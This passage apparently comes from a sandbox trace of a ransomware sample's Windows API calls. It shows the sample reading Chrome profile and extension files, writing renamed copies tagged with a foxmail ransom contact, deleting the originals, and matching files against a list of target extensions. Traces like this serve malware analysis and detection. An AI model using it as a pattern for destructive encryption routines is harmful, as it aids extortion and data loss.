returned 1 [0171.420] WriteFile (in: hFile=0x1a4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0171.420] SetEndOfFile (hFile=0x1a4) returned 1 [0171.420] CloseHandle (hObject=0x1a4) returned 1 [0171.420] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.420] SetEndOfFile (hFile=0x1a0) returned 1 [0171.421] CloseHandle (hObject=0x1a0) returned 1 [0171.421] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.422] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log")) returned 1 [0171.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.422] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.422] lstrlenW (lpString=".doc") returned 4 [0171.422] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0171.422] lstrlenW (lpString=".docx") returned 5 [0171.422] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0171.422] lstrlenW (lpString=".pdf") returned 4 [0171.422] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0171.422] lstrlenW (lpString=".xls") returned 4 [0171.422] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0171.422] lstrlenW (lpString=".xlsx") returned 5 [0171.422] lstrcmpiW (lpString1=".xlsx", lpString2="3.log") returned -1 [0171.423] lstrlenW (lpString=".ppt") returned 4 [0171.423] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0171.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.423] lstrlenW (lpString=".zip") returned 4 [0171.423] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0171.423] lstrlenW (lpString=".rar") returned 4 [0171.423] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0171.423] lstrlenW (lpString=".bz2") returned 4 [0171.423] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0171.423] lstrlenW (lpString=".7z") returned 3 [0171.423] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0171.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.423] lstrlenW (lpString=".dbf") returned 4 [0171.423] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0171.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.423] lstrlenW (lpString=".1cd") returned 4 [0171.423] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0171.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.423] lstrlenW (lpString=".jpg") returned 4 [0171.423] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0171.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.423] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.423] lstrlenW (lpString=".doc") returned 4 [0171.423] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0171.423] lstrlenW (lpString=".docx") returned 5 [0171.423] lstrcmpiW (lpString1=".docx", lpString2="3.log") returned -1 [0171.423] lstrlenW (lpString=".pdf") returned 4 [0171.423] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0171.423] lstrlenW (lpString=".xls") returned 4 [0171.423] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0171.424] lstrlenW (lpString=".xlsx") returned 5 [0171.424] lstrcmpiW (lpString1=".xlsx", lpString2="3.log") returned -1 [0171.424] lstrlenW (lpString=".ppt") returned 4 [0171.424] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0171.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.424] lstrlenW (lpString=".zip") returned 4 [0171.424] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0171.424] lstrlenW (lpString=".rar") returned 4 [0171.424] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0171.424] lstrlenW (lpString=".bz2") returned 4 [0171.424] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0171.424] lstrlenW (lpString=".7z") returned 3 [0171.424] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0171.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.424] lstrlenW (lpString=".dbf") returned 4 [0171.424] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0171.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.424] lstrlenW (lpString=".1cd") returned 4 [0171.424] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0171.424] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 102 [0171.424] lstrlenW (lpString=".jpg") returned 4 [0171.424] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0171.424] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0171.424] lstrlenW (lpString="icon_16.png") returned 11 [0171.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.762] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=160) returned 1 [0171.762] CloseHandle (hObject=0x1b4) returned 1 [0171.762] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png")) returned 0x2020 [0171.762] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.763] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.763] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.763] GetLastError () returned 0x0 [0171.763] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xa0, lpOverlapped=0x0) returned 1 [0171.764] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0171.765] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.765] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0171.765] SetEndOfFile (hFile=0x198) returned 1 [0171.765] CloseHandle (hObject=0x198) returned 1 [0171.766] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.766] SetEndOfFile (hFile=0x1b4) returned 1 [0171.766] CloseHandle (hObject=0x1b4) returned 1 [0171.766] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.767] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png")) returned 1 [0171.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.767] lstrlenW (lpString=".doc") returned 4 [0171.767] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0171.767] lstrlenW (lpString=".docx") returned 5 [0171.767] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0171.767] lstrlenW (lpString=".pdf") returned 4 [0171.767] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0171.767] lstrlenW (lpString=".xls") returned 4 [0171.767] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0171.767] lstrlenW (lpString=".xlsx") returned 5 [0171.767] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0171.767] lstrlenW (lpString=".ppt") returned 4 [0171.767] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0171.767] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.767] lstrlenW (lpString=".zip") returned 4 [0171.767] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0171.768] lstrlenW (lpString=".rar") returned 4 [0171.768] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0171.768] lstrlenW (lpString=".bz2") returned 4 [0171.768] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0171.768] lstrlenW (lpString=".7z") returned 3 [0171.768] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0171.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.768] lstrlenW (lpString=".dbf") returned 4 [0171.768] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0171.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.768] lstrlenW (lpString=".1cd") returned 4 [0171.768] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0171.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.768] lstrlenW (lpString=".jpg") returned 4 [0171.768] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0171.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.768] lstrlenW (lpString=".doc") returned 4 [0171.768] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0171.768] lstrlenW (lpString=".docx") returned 5 [0171.768] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0171.768] lstrlenW (lpString=".pdf") returned 4 [0171.768] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0171.768] lstrlenW (lpString=".xls") returned 4 [0171.768] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0171.768] lstrlenW (lpString=".xlsx") returned 5 [0171.768] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0171.768] lstrlenW (lpString=".ppt") returned 4 [0171.768] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0171.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.769] lstrlenW (lpString=".zip") returned 4 [0171.769] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0171.769] lstrlenW (lpString=".rar") returned 4 [0171.769] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0171.769] lstrlenW (lpString=".bz2") returned 4 [0171.769] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0171.769] lstrlenW (lpString=".7z") returned 3 [0171.769] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0171.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.769] lstrlenW (lpString=".dbf") returned 4 [0171.769] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0171.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.769] lstrlenW (lpString=".1cd") returned 4 [0171.769] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0171.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 137 [0171.769] lstrlenW (lpString=".jpg") returned 4 [0171.769] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0171.769] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.769] lstrlenW (lpString="manifest.json") returned 13 [0171.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.770] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=725) returned 1 [0171.770] CloseHandle (hObject=0x1b4) returned 1 [0171.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json")) returned 0x2020 [0171.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.770] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.770] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.770] GetLastError () returned 0x0 [0171.770] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x2d5, lpOverlapped=0x0) returned 1 [0171.772] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2e0, lpOverlapped=0x0) returned 1 [0171.773] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.773] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.773] SetEndOfFile (hFile=0x198) returned 1 [0171.773] CloseHandle (hObject=0x198) returned 1 [0171.774] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.774] SetEndOfFile (hFile=0x1b4) returned 1 [0171.774] CloseHandle (hObject=0x1b4) returned 1 [0171.774] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.775] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json")) returned 1 [0171.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.775] lstrlenW (lpString=".doc") returned 4 [0171.775] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.775] lstrlenW (lpString=".docx") returned 5 [0171.775] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.775] lstrlenW (lpString=".pdf") returned 4 [0171.775] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.775] lstrlenW (lpString=".xls") returned 4 [0171.775] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.775] lstrlenW (lpString=".xlsx") returned 5 [0171.775] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.775] lstrlenW (lpString=".ppt") returned 4 [0171.776] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.776] lstrlenW (lpString=".zip") returned 4 [0171.776] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.776] lstrlenW (lpString=".rar") returned 4 [0171.776] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.776] lstrlenW (lpString=".bz2") returned 4 [0171.776] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.776] lstrlenW (lpString=".7z") returned 3 [0171.776] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.776] lstrlenW (lpString=".dbf") returned 4 [0171.776] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.776] lstrlenW (lpString=".1cd") returned 4 [0171.776] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.776] lstrlenW (lpString=".jpg") returned 4 [0171.776] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.776] lstrlenW (lpString=".doc") returned 4 [0171.776] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.776] lstrlenW (lpString=".docx") returned 5 [0171.776] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.776] lstrlenW (lpString=".pdf") returned 4 [0171.776] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.776] lstrlenW (lpString=".xls") returned 4 [0171.776] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.776] lstrlenW (lpString=".xlsx") returned 5 [0171.776] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.777] lstrlenW (lpString=".ppt") returned 4 [0171.777] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 